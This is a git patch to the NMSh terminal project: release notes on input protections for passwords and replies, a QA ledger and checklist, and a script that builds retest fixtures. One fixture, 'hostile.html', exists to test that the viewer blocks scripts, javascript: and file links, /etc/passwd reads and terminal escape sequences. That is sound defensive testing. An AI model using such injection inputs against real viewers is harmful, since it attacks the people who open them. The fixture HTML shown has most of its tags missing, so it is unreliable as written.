([#426](https://github.com/raiseCatError/notMyShell/issues/426)). On a heavily loaded machine a reply typed right after starting a prompt-less read (`read -r reply`, `read -s`) used to be queued, and a password could be queued as a shell command or shown in the composer. Keys now wait for NMSh's check (`Checking whether … · your typing is kept` after 0.8 s). When the check cannot tell, the typing stays held and hidden — `Can't tell whether <program> is reading your typing` — until you choose: Ctrl+S sends it to the program, Tab shows it in the composer, Esc discards it. Input with echo turned off is never drawn, whatever else NMSh knows. Ctrl+C discards held typing, as a terminal flushes its input. When a command ends while typing is held for its check, including before its prompt returns while the shell's prompt hooks run, typing that may have been a reply or a password is discarded with a note, never run; plain type-ahead that the check cleared at once stays for the next command. After NMSh answers a hidden question, typing that a check still finds next to hidden input may be the reply to a second question with no prompt: if the command ends first, it waits at the prompt, hidden (`held, not run · Tab shows it · Esc discards it`), and only your Tab and Enter run it. A reply typed and entered before a question with no prompt existed is queued like any command (NMSh could not know); once the command asks for input that NMSh sees, hidden or not, the commands queued while it ran wait for your approval instead of running after it. Tab shows held typing as text only: a Ctrl+Q or any other key typed while it was held never queues, sends or runs it. A password typed in the composer before the program printed its prompt (as with `sudo`) leaves the composer when the program asks for hidden input, is never sent as the answer, and is held at the prompt when the command ends; an Enter typed with it is dropped rather than sent as an empty answer. Type-ahead on an idle machine is unchanged. +- **A reply entered before a question NMSh never saw does not run as a command** ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). A line entered while a command runs, before any question, is queued (nothing has asked yet). If that command's read gave up between NMSh's looks (a timed `read`, or a program's read macOS cannot report) and the command succeeded, the line used to run as a shell command, reaching the shell's history. A line that does not start with a command this shell knows (an alias, function, builtin, keyword or executable) would only fail as a command, so it now waits for your approval in `/queue`, with a note that never repeats its text. Real commands, function definitions and assignments typed ahead still run after the command. +- A window attached to a session service from an older NMSh says that what you type while a command runs is routed as that version did, and when the service restarts. ### Compatibility - Node.js 22 or newer; zsh, Bash 4.4+ and Fish, as in v0.20.0. CI covers Node 22 and 26 on Ubuntu, Node 26 on macOS, and a Linux portability subset on Fedora. -- The session protocol is unchanged (version 2): a session service started by v0.20.0 keeps serving the sessions it owns, and new windows attach to it. `/view`, `/edit`, `/track`, Semantic Output, history browsing, the new modules and themes work at once. The input protections (#426, #436) and the background-task fix need a session service and shells started by this release. +- The session protocol is unchanged (version 2): a session service started by v0.20.0 keeps serving the sessions it owns, and new windows attach to it. `/view`, `/edit`, `/track`, Semantic Output, history browsing, the new modules and themes work at once. The input protections (#426, #436) and the background-task fix need a session service and shells started by this release; a window attached to an older service says so. - `/track` needs `sh` and POSIX process groups (macOS, Linux, WSL 2). Ask's command suggestions need a local model set up in `/llm`. ### Upgrade notes @@ -69,14 +76,15 @@ This is a release candidate: it is published only after its physical-terminal QA - Oxocarbon, GitHub Primer, Material/Palenight and Monokai are deferred, with reasons in `docs/design/theme-families.md` ([#401](https://github.com/raiseCatError/notMyShell/issues/401)). - **Input while a command runs** ([#426](https://github.com/raiseCatError/notMyShell/issues/426), [#436](https://github.com/raiseCatError/notMyShell/issues/436)). What NMSh can and cannot tell: - *A reply to a `read` NMSh has not seen yet* (no prompt, echo on, on a heavily loaded machine) can be taken for the next command: the line is shown and queued, never sent to the program. When NMSh sees the question, that entry waits for your approval; it runs on its own only in the unseen case below. - - *Input entered before the program asks anything* is queued like any command and shown, as a terminal would echo it. If the command later asks a question NMSh sees, those entries wait for approval. NMSh looks at a running command 0.15–2.5 s after it starts, then every 3 s (every 10 s after a minute): a read that gives up between two looks goes unseen, and if the command then succeeds, those entries run as commands. + - *Input entered before the program asks anything* is queued like any command and shown, as a terminal would echo it. If the command later asks a question NMSh sees, those entries wait for approval. NMSh looks at a running command 0.15–2.5 s after it starts, then every 3 s (every 10 s after a minute), and macOS cannot report a program's read at all: a read that gives up unseen leaves those entries queued. A line that does not start with a command this shell knows waits for approval; one that does (a reply that is itself a command name, such as `yes`) runs after the command succeeds. - *Hidden input* (echo off) is never shown, queued or run on a guess. Typing NMSh cannot place is held until NMSh sees the program's question (then it goes to the program, as its answer) or you choose (while the command runs: Ctrl+S sends it, Tab shows it, Esc discards it; at the prompt: Tab or Esc); a command that ends while typing was held past 0.8 s discards it. - *History:* typed input reaches your shell's history and NMSh's journal only when it runs as a command (a composer line you submit, or a queue entry that runs); the transcript also shows what a program echoes back (a visible reply), never hidden input. Held typing and entries waiting for approval stay in memory and are never written to disk. - *Prompt hooks:* zsh's single `precmd` function and Fish's other `fish_postexec` handlers run before NMSh's done marker, so a slow hook there can still be read as the command waiting. A session service from v0.20 routes typing as before. - Keys typed *during* a Fish `read` stay subject to Fish's own editor queries ([#356](https://github.com/raiseCatError/notMyShell/issues/356)). -- Ask's command suggestions use your local model only; remote providers are not part of this release ([#432](https://github.com/raiseCatError/notMyShell/issues/432)). +- Ask's command suggestions use your local model only; remote providers are not part of this release ([#432](https://github.com/raiseCatError/notMyShell/issues/432)). A suggestion is only as good as the model: the small recommended model (Qwen3 0.6B) often suggests an imprecise command or none; NMSh labels each one with its own check and never runs it. +- `/view` renders a subset of HTML: CSS layout, forms, embedded media and image graphics are not shown (an image is its alt text, with no terminal-graphics preview), and HTML that NMSh cannot read stays readable with `m`. - Linux stays beta: automated CI on Ubuntu and Fedora, no physical pass. Everything listed under v0.20.0's known limitations still applies. -- **Linux (beta) with Fish 3** ([#443](https://github.com/raiseCatError/notMyShell/issues/443), open; shown with Fish 3.7.0 on Ubuntu 24.04). Fish 3 does not retry a terminal write that a window-size change interrupts, and NMSh changes the shell's terminal size whenever its own rows change (a command starting, the queue, notices). When the two coincide, that write is lost: part of a command's output is missing, with `write: Interrupted system call` in its place. NMSh writes its own markers again once when a write fails ([#445](https://github.com/raiseCatError/notMyShell/pull/445)); a marker that is still lost can leave NMSh waiting for a prompt, or treating a running program as the idle shell, in which case what you type for that program is drawn in the composer. Seen in about 1 of 10–15 CI loops of the Fish live tests under load; not seen with Fish 4 on macOS, or with zsh and Bash. Also in v0.20.0. +- **Linux (beta) with Fish 3** ([#443](https://github.com/raiseCatError/notMyShell/issues/443), open; shown with Fish 3.7.0 on Ubuntu 24.04). Fish 3 does not retry a terminal write that a window-size change interrupts, and NMSh changes the shell's terminal size whenever its own rows change (a command starting, the queue, notices). NMSh's own markers no longer go through that write on Fish 3: they are written by `cat`, which a window-size change does not interrupt ([#449](https://github.com/raiseCatError/notMyShell/pull/449)), so NMSh no longer loses track of a running command there. Output that Fish itself writes (`echo`, `printf`, `string` and functions using them) can still lose a write when the two coincide: part of it is missing, with `write: Interrupted system call` in its place. Programs Fish starts are not affected, nor are Fish 4, zsh and Bash. Also in v0.20.0. ## [0.20.0] - 2026-10-18 diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index fca36433..146c6266 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -230,10 +230,11 @@ Findings for the planned performance and test-resource pass: - **Orphans:** processes from other worktrees' live sandboxes (two days old, reparented to `launchd`) were found before the panic, so interrupted runs can leave sandboxes behind. Sandbox teardown after a crash needs an owner-checked cleanup. - **Storage:** all scratch, caches and worktrees were on the T7. The internal SSD was at 96%, which leaves little room for swap. -## Physical QA still required +## Physical QA -Checklist: [v0.22 physical QA](../testing/v022-physical-qa.md), one pass per PR. Nothing in v0.22 has had a physical -pass. +Recorded in [v0.22 physical QA](../testing/v022-physical-qa.md): sitting A (Ghostty, zsh) and B1, B3 (Terminal.app, +Fish) on `68c1cbb7`; A12 failed (F04). Nine required passes were not run (the person running QA stopped repetitive +manual testing): B5, B8, B9, B10, C2, C7, C9, C10, D11. Retests R1–R4 cover what changed afterwards. ## Open risks @@ -242,3 +243,52 @@ pass. - #439 and #434 both use the host-actions bridge; whichever merges second picks up the other. - #436 fixes two explained mechanisms; other timing races in input ownership may remain. - #443 (Fish 3.7 on Linux, cause unknown) is open; a bounded CI loop investigates it. + +## Stabilization after physical QA (2026-10-19) + +Baseline verified first: `release/v0.22.0` = `68c1cbb7` locally and on origin, #444 draft and mergeable, the release +worktree clean. Scratch on `T7Tmp` (`62D4E8A9-087C-4927-A62F-25BB88B7F1C7`, verified mounted). Work in new worktrees +`…/v022-qafix`, `-426`, `-f03`, `-svc`, `v022-html`, `v022-integ`; `v022-qa` (the QA build of `68c1cbb7`) untouched. + +| Finding | Kind | Root cause | Fix | Issue / PR | +| --- | --- | --- | --- | --- | +| F04 Ask suggestions | QA failure (A12) | Shell tasks were `unclear`, so Auto let the intent model read them; Qwen3 0.6B answered `files.list` (0.99999) and NMSh answered "list files"; suggestions only follow `unclear` | Shell tasks recognised (`unsupported`, never re-read by the model in Auto or Always); suggestions Off says where they are; a declining model says so | #446 / #447 | +| F02 Pasted NMSh commands | QA bug | Enter submits the composer as one unit: a block starting with `/` was one broken slash command, any other block went to the shell whole | A mixed block opens the reviewed list; One at a time offers each command unsent, next after success, Esc stops | #450 / #451 | +| F03 Queue during a wait | QA UX | Intentional (the question takes the rows), but the headline omitted the approval state and dropped the queue on narrow screens | `≡ 2 queued · 2 for approval`, headline shortened first, bare count last | #452 / #453 | +| F01 HTML in `/view` | Requested feature | — | Native, bounded, never-run HTML subset for HTML files and HTML in Markdown (`/view` only) | #454 / #455 | +| Markdown wrap | Bug found testing F01 | A word that fit only without the space was glued to the previous one | Next word starts the next row | in #455 | +| #426 residual | Security | A line typed before an unseen timed read ran as a command when the command succeeded (reproduced live, zsh/Bash/Fish) | A line not starting with a known command waits for approval | #426 / #448 | +| #426 older service | Clarity | A window never said an older service lacks the protections | Warning keyed on `input-look-result` | #456 | +| #443 Fish 3 markers | Reliability | Fish 3 drops an EINTR'd builtin write and prints the error; #445's single retry printed it and lost a marker interrupted twice | Fish 3 markers via `printf | cat` (cat ignores SIGWINCH, retries EINTR) | #443 / #449 | + +Evidence: +- **F04** reproduced with the real model through the real Ask path (`/Volumes/T7Tmp/ai-dev/scratch/v022-qafix/probe-f04`). + After the fix the QA request gets a suggestion; the model's command quality is low (`convert -density 100 -quality 100 + *png* webp`). +- **#426:** the live test fails first on zsh, Bash and Fish (the reply entered NMSh's journal); 7/7 after. +- **#443:** an LD_PRELOAD shim fails terminal writes with EINTR on CI's Ubuntu Fish 3.7.0. Markers survive 1, 2 and 50 + interruptions with no error shown; the same harness shows #445's helper losing a marker interrupted twice. The + diagnostic loop on the new helper (run 39252443113): 60/60, 0 interrupted marker writes recorded (before #445: 3/30 + and 2/30 failures). Fish's own builtin output can still lose a write: documented, not fixed (the cause, resizing the + PTY on layout changes, is the post-release fix). +- **Integration** (`integration/v022-stabilization`): #448, #449, #456, #447, #451, #453, then #455 last (revertible as + one merge). One conflict, in `routeComposer`: #451's review first, then #448's enqueue rule. +- **PR CI:** all seven fix PRs green. #453's first macOS run failed `inputOwnershipLive` zsh (a waiting read's answer + timed out); its change only affects the wait headline when entries are queued (none in that test), and the rerun + passed: the known load race, recorded here, not hidden. +- **Verification on the integrated tree:** typecheck; 140 deterministic files 1,134 pass, 0 fail, 7 skipped; + live 45/45 (secrets, ownership, prompt hooks, typing after read, queue, paste batch, queue conditions, viewer). + Sequential, concurrency 1, memory 36–45% free. +- **Statuses:** + - #436: the two mechanisms stay fixed; prompt-hook live tests pass. Remaining: zsh's single `precmd` and Fish's + other `fish_postexec` handlers run before the done marker. + - #356: not reproduced; no new evidence, left deferred. + - #445: superseded on Fish 3 by #449; still the Fish 4 path. + +Decisions and risks: +- F01 is included (opt-in to `/view`; agent replies unchanged), merged last so it can be reverted alone. A2 and C2 need + R3. +- Ask suggestions now work as designed; their usefulness depends on the model. The release scope is unchanged (off by + default, local model only), with the quality limit in Known limitations. +- Lesson: `git stash` does not take untracked files. One test file was swept into another branch's commit, amended + out and force-pushed with a lease (#448, `31fab989` → `3d606e7a`); each branch now has its own worktree. diff --git a/docs/testing/v022-physical-qa.md b/docs/testing/v022-physical-qa.md index db90baed..52a318b9 100644 --- a/docs/testing/v022-physical-qa.md +++ b/docs/testing/v022-physical-qa.md @@ -1,7 +1,9 @@ # v0.22 physical QA One walkthrough for the v0.22.0 release candidate (#444). It replaces [v0.21 physical QA](v021-physical-qa.md) -(never run; v0.21.0 is not published) and the per-PR v0.22 passes. Nothing below has been run yet. +(never run; v0.21.0 is not published) and the per-PR v0.22 passes. Sittings A and part of B were run on candidate +`68c1cbb7` (results below); the person running QA then stopped repetitive manual testing, and the remaining passes are +recorded as not run. Fixes made after that QA have their own short retests (see Retests after the stabilization fixes). - **What counts:** a person at a real terminal, with a real keyboard and pointer. Headless tests, synthetic keys and green CI do not count, and no row is marked from them. @@ -38,32 +40,128 @@ One walkthrough for the v0.22.0 release candidate (#444). It replaces [v0.21 phy | Pass | Terminal | Shell | Commit | Result | Notes | |---|---|---|---|---|---| -| A1 Progress (#388) | Ghostty | zsh | | Not run | | -| A2 `/view` | Ghostty | zsh | | Not run | | -| A3 `/edit` | Ghostty | zsh | | Not run | | -| A4 Semantic Output | Ghostty | zsh | | Not run | | -| A5 `/track` | Ghostty | zsh | | Not run | | -| A6 Modules | Ghostty | zsh | | Not run | | -| A7 Themes | Ghostty | zsh | | Not run | | -| A8 History (#389) | Ghostty | zsh | | Not run | | -| A9 Passwords and replies (#426) | Ghostty | zsh | | Not run | | -| A10 Prompt hooks and Ctrl+C (#436) | Ghostty | zsh | | Not run | | -| A11 Editors (#366) | Ghostty | zsh | | Not run | | -| A12 Ask suggestions (#432) | Ghostty | zsh | | Not run | memory check first | -| A13 Session lifecycle | Ghostty | zsh | | Not run | | -| A14 No color and Safe glyphs | Ghostty | zsh | | Not run | | -| B1 Progress | Terminal.app | Fish | | Not run | | -| B3 `/edit` keys | Terminal.app | Fish | | Not run | | -| B5 `/track` cleanup | Terminal.app | Fish | | Not run | | -| B8 History | Terminal.app | Fish | | Not run | | -| B9 Passwords and replies | Terminal.app | Fish | | Not run | | -| B10 Prompt hooks and Ctrl+C | Terminal.app | Fish | | Not run | | -| C2 `/view` rendering | Terminal.app | zsh | | Not run | | -| C7 Themes, 256 colors | Terminal.app | zsh | | Not run | | -| C9 Passwords and replies | Terminal.app | Bash | | Not run | | -| C10 Prompt hooks and Ctrl+C | Terminal.app | Bash | | Not run | | -| D11 Editor bridge | Zed | zsh | | Not run | required | -| Z Supplementary | Zed | zsh | | Not run | not a release gate | +| A1 Progress (#388) | Ghostty | zsh | 68c1cbb7 | PASS | | +| A2 `/view` | Ghostty | zsh | 68c1cbb7 | PASS | embedded HTML shown literally: F01, see R3 | +| A3 `/edit` | Ghostty | zsh | 68c1cbb7 | PASS | | +| A4 Semantic Output | Ghostty | zsh | 68c1cbb7 | PASS | | +| A5 `/track` | Ghostty | zsh | 68c1cbb7 | PASS | multi-line paste of /track lines: F02, see R2 | +| A6 Modules | Ghostty | zsh | 68c1cbb7 | PASS | `cd` + `/modules` pasted: F02, see R2 | +| A7 Themes | Ghostty | zsh | 68c1cbb7 | PASS | | +| A8 History (#389) | Ghostty | zsh | 68c1cbb7 | PASS | | +| A9 Passwords and replies (#426) | Ghostty | zsh | 68c1cbb7 | PASS | step 9 (CPU load) not run (machine constraints); queue overview hidden during the wait: F03 | +| A10 Prompt hooks and Ctrl+C (#436) | Ghostty | zsh | 68c1cbb7 | PASS | | +| A11 Editors (#366) | Ghostty | zsh | 68c1cbb7 | PASS | | +| A12 Ask suggestions (#432) | Ghostty | zsh | 68c1cbb7 | **FAIL** | the folder listing instead of a suggestion: F04 (#446), see R1 | +| A13 Session lifecycle | Ghostty | zsh | 68c1cbb7 | PASS | | +| A14 No color and Safe glyphs | Ghostty | zsh | 68c1cbb7 | PASS | | +| B1 Progress | Terminal.app | Fish | 68c1cbb7 | PASS | | +| B3 `/edit` keys | Terminal.app | Fish | 68c1cbb7 | PASS | | +| B5 `/track` cleanup | Terminal.app | Fish | | NOT RUN | user waived/deferred further manual QA | +| B8 History | Terminal.app | Fish | | NOT RUN | user waived/deferred further manual QA | +| B9 Passwords and replies | Terminal.app | Fish | | NOT RUN | user waived/deferred; covered by R4 if run | +| B10 Prompt hooks and Ctrl+C | Terminal.app | Fish | | NOT RUN | user waived/deferred further manual QA | +| C2 `/view` rendering | Terminal.app | zsh | | NOT RUN | user waived/deferred further manual QA | +| C7 Themes, 256 colors | Terminal.app | zsh | | NOT RUN | user waived/deferred further manual QA | +| C9 Passwords and replies | Terminal.app | Bash | | NOT RUN | user waived/deferred; covered by R4 if run | +| C10 Prompt hooks and Ctrl+C | Terminal.app | Bash | | NOT RUN | user waived/deferred further manual QA | +| D11 Editor bridge | Zed | zsh | | NOT RUN | required; user waived/deferred | +| Z Supplementary | Zed | zsh | | NOT RUN | not a release gate | +| R1 Ask suggestions (F04) | Ghostty | zsh | | Not run | retest on the new candidate | +| R2 Pasted NMSh commands (F02) | Ghostty | zsh | | Not run | retest on the new candidate | +| R3 HTML in `/view` (F01) | Ghostty | zsh | | Not run | retest on the new candidate | +| R4 Typing before an unseen read (#426) | Terminal.app | Fish, Bash | | Not run | retest on the new candidate | + +**NOT RUN is not PASS.** The nine required passes above were not performed; if the release goes ahead without them, that +is a recorded acceptance of their risk (below), not a result. + +### Reduced coverage: what is and is not proven + +- **Proven physically (Ghostty, zsh):** everything in sitting A except A12 (failed, now fixed: R1) and A9's load step. +- **Not proven physically:** Fish and Bash input security (B9, C9) and prompt hooks (B10, C10), Fish `/track` process + cleanup (B5), Terminal.app's 256-color themes and `/view` drawing (C7, C2), Fish history (B8), and the Zed editor + bridge (D11). Ghostty passing does not cover them: input routing depends on the shell (Fish's reader and Bash's + `PROMPT_COMMAND` differ from zsh's hooks), and D11 is the only check of the Zed bridge. +- **Automated cover for those:** live tests run real Fish and Bash on CI (macOS and Ubuntu) for the input, queue, + prompt-hook and typing-after-read paths, and locally on macOS for this candidate (Fish 4.9.3, Bash 5). They do not + exercise a person's timing, Terminal.app or Zed. +- **Smallest meaningful remaining checks**, by unique risk: R4 (Fish and Bash typing security, about 10 min), D11 (Zed, + 2 min), then B10 and C10 (prompt hooks in Fish and Bash, 4 min). B5, B8, C2 and C7 repeat Ghostty-proven drawing and + can reasonably be waived. + +## Retests after the stabilization fixes (about 30 minutes) + +The candidate changed after the QA above (fixes for F01–F04 and #426, #443; see the ledger). Only what those changes +touch is retested; every other result above stands for the new candidate. + +**Build:** a separate QA build at the new candidate, so `68c1cbb7`'s build stays as it was: + +```sh +git -C /Users/jaisukka/Projects/notMyShell fetch origin +git -C /Users/jaisukka/Projects/notMyShell worktree add --detach /Volumes/T7Tmp/ai-dev/worktrees/notMyShell/v022-qa2 origin/release/v0.22.0 +cd /Volumes/T7Tmp/ai-dev/worktrees/notMyShell/v022-qa2 && t7run npm ci && t7run npm run build +git rev-parse --short HEAD # the commit in #444's latest "Candidate for physical QA" comment +scripts/qa/v022-retest-fixtures.sh /Volumes/T7Tmp/ai-dev/q22 /Volumes/T7Tmp/ai-dev/worktrees/notMyShell/v022-qa2 +``` + +Launch with `/Volumes/T7Tmp/ai-dev/q22/nmsh2` (`nmsh2 fish`, `nmsh2 bash`): your QA configuration, the new build, its +own session service. The welcome banner names the new build. If a window says its session service is from an older +NMSh, `exit` every `nmsh2` window and start again. + +### R1 · Ask command suggestions (F04, replaces A12), Ghostty, zsh, 8 min +0. Memory first, as in A12. +1. Settings → Ask → Command suggestions **Off**. `/btw convert every png here to webp`: Ask says it doesn't run shell + tasks like this itself and names Settings → Ask → Command suggestions. No folder listing, no model asked. +2. Command suggestions → **Local model** (local understanding Auto, your model set up in `/llm`). `cd retest/images`, + then `/btw convert every png here to webp`: one suggested command, `NMSh's check: …` first, then your model's words + in quotes with its name, and Copy and Insert only. The model may suggest an imprecise command or none ("suggested + no command for this"); either is a PASS for this step, a folder listing is a FAIL. +3. Insert: the command waits in the composer, unsent (Esc clears it). Copy: only the clipboard changes. +4. `/btw find files bigger than 100mb` and `/btw rename all .jpeg files to .jpg`: a suggestion (or "no command"), + never a listing, "Install which shell?" or a transcript search. +5. `/btw delete all my files`: still refused; no suggestion. +6. `/llm` → local understanding Off; `/btw convert every png here to webp`: says suggestions need local understanding + and how to turn it on. Finish with `/llm` → Stop model, and `cd ../..`. + +**PASS** if no step shows an unrelated screen, nothing runs without your Enter, and the refusal stands. + +### R2 · Pasted NMSh commands (F02), Ghostty, zsh, 4 min +1. `pbcopy < retest/paste-mixed.txt`, paste (Cmd+V), Enter (inserts), Enter: nothing runs; the reviewed list opens + with `1 One at a time · 2 commands` and no Run as block or Queue choice. Enter: `cd modules/bun-app` waits in the + composer with `Pasted command 1 of 2 · Enter runs it · Esc stops`. Enter: it runs; `/modules` is then offered. + Enter: the Modules panel opens (no `zsh: no such file or directory`). Close it; `cd ../..`. +2. `pbcopy < retest/paste-track.txt`, paste, Enter, Enter, Enter: each `/track …` is offered in turn and runs as its + own tracker on your Enter. `/track stop` each one. +3. Paste `retest/paste-mixed.txt` again, Enter, Enter, Enter, then Esc while `cd …` waits: the composer empties and + nothing more is offered. A multi-line shell script with no NMSh line (`for i in 1 2` Ctrl+J `do echo $i` Ctrl+J + `done`) still runs as one command. + +**PASS** if no NMSh line ever reaches the shell and nothing runs without its own Enter. + +### R3 · HTML in `/view` (F01), Ghostty, zsh, 5 min +1. `/view retest/README-html.md`: the logo and badge read `[image: QA logo]` and `[image: CI badge]`, the heading and + list render, **Bold words** are bold, `Ctrl`+`C` look like keys; no `<div>`, `<picture>`, `<img>`, `<p>` or `<kbd>` + text. `m` shows the source; `m` again returns. +2. `/view retest/page.html`: heading, paragraph styles, the numbered list with its nested item, the table (Value + right-aligned), the code block, the quote, a rule, and `☑ done` / `☐ open`. `/` `nested` finds it. Narrow the window + to about 40 columns: it still fits. +3. `/view retest/hostile.html`: `Hostile page` and `Visible text` only, plus `[image: local file reference]` and the two + links shown with their targets as text. Nothing else: no `QA-SCRIPT-RAN`, no title change, no screen clear, no + `QA-IFRAME`, no `/etc/passwd` contents, no network activity. +4. A2 step 1 again (`/view view/README.md`) and step 4 (`view/hostile.txt`): unchanged. + +**PASS** if all hold. + +### R4 · Typing before a read nobody sees (#426), Terminal.app, Fish then Bash, 10 min +Launch `nmsh2 fish`; then repeat in `nmsh2 bash`. +1. `bash retest/timed-read.sh`, and during its 2 s sleep type `QRETESTQ` and Enter: `≡ 1 queued`, and a note says the + line does not start with a command this shell knows and waits for your approval (the note never shows the word). + `QA-TIMED-DONE` prints; the entry does **not** run. `/queue`: delete it. +2. The same, typing `echo next-ok` instead: it runs once after `QA-TIMED-DONE`. +3. A9 steps 2, 5 and 6 in that shell (Fish: `read --silent reply` for step 2). +4. Fish: `history | head -30`; Bash: `history | tail -30`: no `QRETESTQ` or `QSECRETQ`. + +**PASS** if no reply word ever runs, is shown after its question appeared, or reaches history. This also covers the +input-security part of B9 and C9. ## Sitting A: Ghostty, zsh (about 80 minutes; a break fits after A7) @@ -182,12 +280,14 @@ Replies are made-up words, never a real password (only step 8 uses yours). `≡ hidden input · held, not run · Tab shows it · Esc discards it`. Press Enter: nothing runs. Press Ctrl+Q, then Tab: `QSECRETQ` appears in the composer, unsent, and `≡` does not appear. Delete it (Ctrl+U). 6. The same with Enter: `sh input/delayed-prompt.sh`, type `QSECRETQ` and Enter before the prompt. Nothing asks yet, so - it is queued (`≡ 1 queued`), as anything entered then is. When the prompt appears, a note says the command queued - while it ran waits for your approval, and the prompt is not answered with an empty line. Answer with `answer`: + it is queued (`≡ 1 queued`), as anything entered then is; since it does not start with a command, a note says at once + that it waits for your approval. When the prompt appears, a note says the command queued while it ran waits for your + approval, and the prompt is not answered with an empty line. Answer with `answer`: `got 6 characters`; the queued entry does not run. `/queue`: delete it. (If the Enter was still being checked when the prompt appeared, the word is held at the prompt instead: Esc says it was discarded, not sent or run.) 7. `bash input/two-passwords.sh`: type `X` and Enter as soon as it starts; during its 3 s pause type a second word and - Enter. That word is shown and queued (NMSh cannot know yet). When the second read starts, a note says the command + Enter. That word is shown and queued (NMSh cannot know yet), waiting for approval because it is not a command. When + the second read starts, a note says the command queued while it ran waits for your approval. Type the second word again and Enter: `lengths 1/…`; the queued entry does not run. `/queue`: delete it. 8. `sudo -k true`: your password never appears on screen or in the queue; a wrong password and the retry behave the diff --git a/scripts/qa/v022-retest-fixtures.sh b/scripts/qa/v022-retest-fixtures.sh new file mode 100755 index 00000000..07ab5b4b --- /dev/null +++ b/scripts/qa/v022-retest-fixtures.sh @@ -0,0 +1,109 @@ +#!/usr/bin/env bash +# Additions to an existing v0.22 QA folder for the targeted retests after the post-QA stabilization fixes +# (docs/testing/v022-physical-qa.md, "Retests after the stabilization fixes"). +# +# scripts/qa/v022-retest-fixtures.sh <q22-folder> <qa-build-worktree> +# +# Adds work/retest/ and a launcher, nmsh2, for the new build: the same configuration folders as ./nmsh (your QA +# settings and local model carry over), but its own session service, so the new build's shells are its own. Nothing +# already in the folder is changed or removed, nothing is downloaded or installed, and nothing runs as root. +set -euo pipefail + +root=${1:-} +build=${2:-} +if [ -z "$root" ] || [ -z "$build" ]; then echo 'usage: scripts/qa/v022-retest-fixtures.sh <q22-folder> <qa-build-worktree>' >&2; exit 2; fi +root=$(cd "$root" && pwd -P) +build=$(cd "$build" && pwd -P) +if [ ! -d "$root/work" ] || [ ! -x "$root/nmsh" ]; then echo "$root is not a v0.22 QA folder (run scripts/qa/v022-fixtures.sh first)" >&2; exit 2; fi +if [ ! -f "$build/dist/index.js" ]; then echo "$build has no build: run npm run build there first" >&2; exit 2; fi +retest="$root/work/retest" +mkdir -p "$retest" +add() { if [ -e "$1" ]; then echo "kept $1"; else cat > "$1"; fi; } + +add "$root/nmsh2" <<EOF +#!/usr/bin/env bash +# The retest build ($build) with this folder's configuration and its own session service: ./nmsh2 [zsh|bash|fish] +profile=\${1:-zsh} +case \$profile in zsh|bash|fish) ;; *) echo 'usage: ./nmsh2 [zsh|bash|fish]' >&2; exit 2 ;; esac +mkdir -p "$root/run2-\$profile" && chmod 700 "$root/run2-\$profile" +cd "$root/work" || exit 1 +exec env XDG_CONFIG_HOME="$root/config-\$profile" NMSH_RUNTIME_DIR="$root/run2-\$profile" NMSH_DISABLE_UPDATES=1 node "$build/dist/index.js" +EOF +chmod +x "$root/nmsh2" + +# R1 (Ask): a folder with a few images to ask about. +mkdir -p "$retest/images" +for name in one two three; do [ -e "$retest/images/$name.png" ] || printf '\x89PNG\r\n\x1a\n' > "$retest/images/$name.png"; done + +# R2 (paste): copy with `pbcopy < retest/paste-mixed.txt`, then paste with Cmd+V. +add "$retest/paste-mixed.txt" <<'EOF' +cd modules/bun-app +/modules +EOF +add "$retest/paste-track.txt" <<'EOF' +/track ls +/track df -h +/track cat track/f.txt +/track ls missing +EOF + +# R3 (/view HTML). +add "$retest/README-html.md" <<'EOF' +<div align="center"> + +<picture> + <source media="(prefers-color-scheme: dark)" srcset="logo-dark.png"> + <img alt="QA logo" src="logo-light.png" width="200"> +</picture> + +# HTML inside Markdown + +<p align="center"> + <a href="https://example.com/ci"><img src="badge.svg" alt="CI badge"></a> + <b>Bold words</b> and <i>italic words</i>; press <kbd>Ctrl</kbd>+<kbd>C</kbd>. +</p> + +</div> + +Markdown after the HTML: a list. + +- one +- two +EOF +add "$retest/page.html" <<'EOF' +<!DOCTYPE html> +<html><head><title>QA page + +

A page

+

A paragraph with strong, em, a < b and a link.

+
  1. first
    • nested
  2. second
+
KeyValue
a1
b22
+
echo "code block"
+ls -la
+

A quote.

+
+
  • done
  • open
+ +EOF +add "$retest/hostile.html" <<'EOF' +

Hostile page

+

Visible text.

+ + +local file reference + +

js link file link

+

Escape as a reference:  and ]0;QA-TITLE end.

+EOF + +# R4 (typing before a timed read nobody sees): sleeps 2 s, then a read that gives up after 1 s, then succeeds. +add "$retest/timed-read.sh" <<'EOF' +#!/usr/bin/env bash +sleep 2 +read -t 1 -r reply || true +echo QA-TIMED-DONE +EOF +chmod +x "$retest/timed-read.sh" + +echo "Retest fixtures ready in $retest" +echo "Start the retest build with: $root/nmsh2 (or: $root/nmsh2 fish, $root/nmsh2 bash)" From 2932f8e14e1600463a25667c0e1d519854e5d541 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 21:40:06 +0530 Subject: [PATCH 096/157] Input ownership: nothing typed while a command runs becomes a shell command by itself (#426) The #448 rule decided by the text: a line typed while a command ran was held only if its first word was not a command the shell knows. A reply that is itself a command name (`yes`, `ls`, `sudo`), a one-time code or an assignment still ran when its read gave up unseen. Ownership, not vocabulary, now decides: - Withheld lines. A plain Enter while a command runs, with no question NMSh saw, queues the line with `typedWhile`: the owner (service or in-process) forces it to wait for approval and refuses to clear that, frontends show it as "(typed while ran)" until the person presses Tab, and it is never offered by Up. Ctrl+Q stays the explicit run-after. Keys held for a look whose command ended are replayed with the same rule, so their Enter never submits at the prompt. A held head no longer blocks a command submitted at the prompt. - Delivered bytes. Input NMSh wrote for a program that never read it stayed in the terminal: the shell ran a whole line as its next command and glued a partial one onto the next submission (`QZSECRETecho NEXT`). When NMSh delivered input to a command (a flag file, written before the bytes), the shell's first prompt hook drains the terminal (stty -icanon min 0 time 0, head, od) and reports it as an authenticated `unread` marker; the owner holds each line for approval. Input arriving after the done marker is held, never written. zsh, Bash and Fish. - Stop window. A line entered right after Ctrl+C or Ctrl+Z is held, never written, until the outcome is verified: the prompt (it runs there), a question asked after the stop (its reply), or the window ending with the program alive or having asked (held for approval). - Older services (no look result) fail closed: typing with no evidence stays held and hidden until Ctrl+S, Tab or Esc, and the notice says so. Tests first: inputQuarantine (19 fail on fa7ec665), queueQuarantine, unreadInputLive; live residual test with `ls` ran in zsh, Bash and Fish on fa7ec665. Queue-mechanics live tests queue with Ctrl+Q; tests that typed ahead with Enter now approve the held line. --- src/app/TerminalApp.ts | 191 ++++++++++---- 